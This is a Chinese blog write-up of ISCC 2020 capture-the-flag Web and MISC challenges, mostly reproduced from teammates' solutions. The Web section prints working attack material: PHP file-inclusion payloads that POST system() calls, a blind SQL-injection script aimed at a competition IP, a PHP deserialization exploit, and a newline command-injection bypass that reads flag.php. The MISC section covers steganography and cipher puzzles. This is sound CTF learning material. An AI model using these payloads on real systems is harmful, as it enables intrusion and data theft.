ISCC2020---部分Web题和MISC题复现!

突然要整理ISCC的比赛信息,突然发现草稿箱里还有这篇文章。

前言:参加了ISCC比赛,对我这萌新造成了万倍的内心暴击,但还是有点收获的,记录下学习心得!(题目难度就不评价了,对萌新不友好)

web

web1: Where is file?
这道赛题好像在我复现的时候,已经被搞了,emmmmm不让萌新活了。
就看着我们团队大佬的复现了。

题目内容:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, "php://")) {
    $file=str_replace("php://", "", $file);
}
include($file);
?>

使用伪协议(根据源码,不能使用file协议)读取flag内容:
php://filter
在这里插入图片描述
php://input

?file=php://input
post: <?php system('ls'); ?> //列目录
post: <?php system('cat flag.php'); ?> //查看flag.php内容,但执行后要查看源代码才能看到

在这里插入图片描述
本来还能用php://filter复现呐,结果…

web2: 阿森的爱情-1

在这里插入图片描述
用目录爆破dirsearch,在readme.txt中可以找到flag。
等我复现时题被改了,emmm萌新无能叹息!

web4: 阿森的爱情-2

阿森的爱情-2
这是sql注入但是过滤了()
直接上脚本:

import requests
 
url = "http://101.201.126.95:7006/"
alist = "0123456789abcdef"
 
payload = ""
payload1 = "admin' union select 1,2,'" #将' or 1改成了admin'
payload2 = "' from admin order by 3 #"
datas = {"username":"",
         "password":""
     }
tmp_OK = ""
tmp = ""
for j in range(0,32):
    for i in alist:
        payload = payload1+tmp_OK+i+payload2
        datas["username"] = payload
        #print datas
        r = requests.post(url=url,data=datas)
        #print r.text
        if "admin" in r.text: #将whaleadmin改成了admin
            tmp_OK += tmp
            print(tmp_OK)
            break
        if ("2" in r.text) and (i == "f"):
            tmp_OK += i
            print(tmp_OK)
        tmp = i

脚本跑一下就能得到MD5值:bfe42ac26e273ef3a859a651e0a02dff
解密就能得到flag

web5: Php is the best language

源码:

<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

很明显,反序列化,构造exp

<?php
class baby 
{
    public $file="flag.php";
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$test1=new baby;
print_r(serialize($test1));
?>

由exp生成payload:
O:4:“baby”:1:{s:4:“file”;s:8:“flag.php”;}

输入payload,然后Base64解码,得到flag
PD9waHAgJGE9J2ZsYWd7dV9yX3JlYWxseV9hX3BocF9leHBlcnR9Jzs/Pg0K

反序化还没学,先把大佬的借过来,依葫芦画瓢,等以后学了回头看看。

web6: 阿帅的爱情

http://101.201.126.95:7013/

阿帅把她的秘密留在了这里:

<?php
if(!isset($_GET["ip"])){
    show_source(__file__);
} else
{
    $ip=$_GET["ip"];
    $pattern="/[;|&].*[a-zA-Z]+/";
    if(preg_match($pattern,$ip)!=0){
        die('bad domain');
    }
    try {
        $result = shell_exec('ping -c 4 ' . $ip);
    }
    catch(Exception $e) {
        $result = $e->getMessage();
        echo $result;
    }
    $result = str_replace("\n", "<br>", $result);
    echo $result;
}

pattern 正则表达式
preg_match 函数用于执行一个正则表达式匹配,只会匹配一次
对get进来的参数IP进行正则匹配,过滤参数里的分隔符。

找到一种绕过方式:%0acat
执行ls命令列出目录下的文件:
在这里插入图片描述
这样就看到了包含flag的文件

?ip=%0acat flag.php

在这里插入图片描述
拿到了flag

web8: 神秘组织的邮件-2

在这里插入图片描述
神秘组织的邮件-1的flag{加减乘除},那是不是让几个数中加减乘除。
开始写脚本跑一下,大佬脚本:

import re
import requests

url="http://101.201.126.95:7010/"
headers={"Cookie":"PHPSESSID=e8iv7en9e33sqp6mi0j2c6ff7i"}
s=requests.Session()
r=s.get(url,headers=headers)
content=r.text

content=re.sub(r"</?(.+?)>","",content)#去掉html标签
content=re.sub('Result:','',content) #替换Result:为空
content=content.strip() #去除字符串左右两端的空格和\t、\r、\n
print(content)

num=content.split('  ') #这里是空格当做列表分隔符
print(num)
#num = list(map(int, n))#将列表转换为int型
#payload=num[0]+num[1]-num[2]*num[3]/num[4]
payload=int(num[0])+int(num[1])-int(num[2])*int(num[3])/int(num[4])
print(payload)

data = {"result":payload}
r = s.post(url=url+"result.php",headers=headers,data=data)
print(r.text)

在这里插入图片描述
知道地址但是访问失败了😢😢😢😢!(我还试了一下)
那就使用python脚本访问一下。

import requests

url="http://101.201.126.95:7010/IS20CC20abc%$.txt"
r=requests.get(url).text
print(r)

在这里插入图片描述
如果此参数result经过base64解密为flag .php,就能拿到flag了。

flag.php编码为:ZmxhZy5waHA=
我也试了一下burp抓包,没成功,不知道是操作问题,还是题被大佬搞了。

web不会的或者题被改得就放了🤣🤣🤣🤣🤣🤣

MISC

MISC1:ISCC签到

拿到附件打开:
在这里插入图片描述

拿到图片习惯性的看一下属性,
在这里插入图片描述

改一下高度,
在这里插入图片描述
维吉尼亚密码解密,密钥题目上已经提示了。

MISC2:寻找小明-1
打开压缩包:
在这里插入图片描述
用stegslove 在redplane 2时找到了二维码:
在这里插入图片描述
扫一下。拿到了一串数字[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

这可能时x,y坐标的结合把。后边不知道改干什么了。

无能叹息!!

看了学长的博客其实数字列表的数字,两个一组作为像素点,发现每个点的R颜色通道值的ASCII码就是flag。
大佬脚本奉上:

import cv2

img=cv2.imread('zd.png')
x=[257,258,259,260,261,262,263,259,438,455,25,456,66,78,421,452]
y=[1,2,3,4,5,7,8,277,300,319,300,400,366,300,259,23]
for i in range(16):
    px = img[y[i], x[i]]
    print(chr(px[2]),end="")

跑脚本就得到了flag

MISC3:ISCC成绩查询-1

拿到附件用stegslove看一下,做题量太少很懵逼

在这里插入图片描述
由奇数点开始也由奇数点结束,而图上均为奇数点。
然后我也不知道了。。😂😂😂

学长说是半欧拉图,还是不懂,奉上大佬的图。
在这里插入图片描述
这样就得出了:TRLNCHHAFCIEEIEEPR

观察一下,看起来是栅栏密码,栅栏密码解密后为:THERAILFENCECIPHER

MISC4:神秘组织的邮件-1

大佬说是ISCC传统手艺,flag{加减乘除},(ˉ▽ˉ;)… 。这是基操

MISC5:千层套路

打开附件是动图,用stegslove抽出来8张图片,拼图。

这个图拼的眼疼。
在这里插入图片描述

我也卡这了。
听大佬说,用WinRAR打开题目.gif,里面别有一番天地。

在这里插入图片描述
但是需要解压密码,那我们的拼图里的字符应该是密码。(sr5#TKh~ck3^)

在这里插入图片描述
第一行应该是图片的宽高。
后面的是像素点画图。
然后开始跑脚本,大佬滴:

from PIL import Image

x = 141    #x坐标  通过对txt里的行数进行整数分
y = 726    #y坐标  x * y = 行数
im = Image.new("RGB", (x, y))
file = open('1.txt')

for i in range(0, x):
    for j in range(0, y):
        line = file.readline()  #获取一行的rgb值
        line = line[:-2]
        line = line[1:]
        #print(line)
        rgb = line.split(", ")  #分离rgb,文本中逗号后面有空格
        im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2])))
im.save('test2.png')

跑脚本只能得到一半的flag
看道德经这句黑体话,字体变为白色可能就是另一半flag。
在这里插入图片描述
结合一下就会得到flag

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值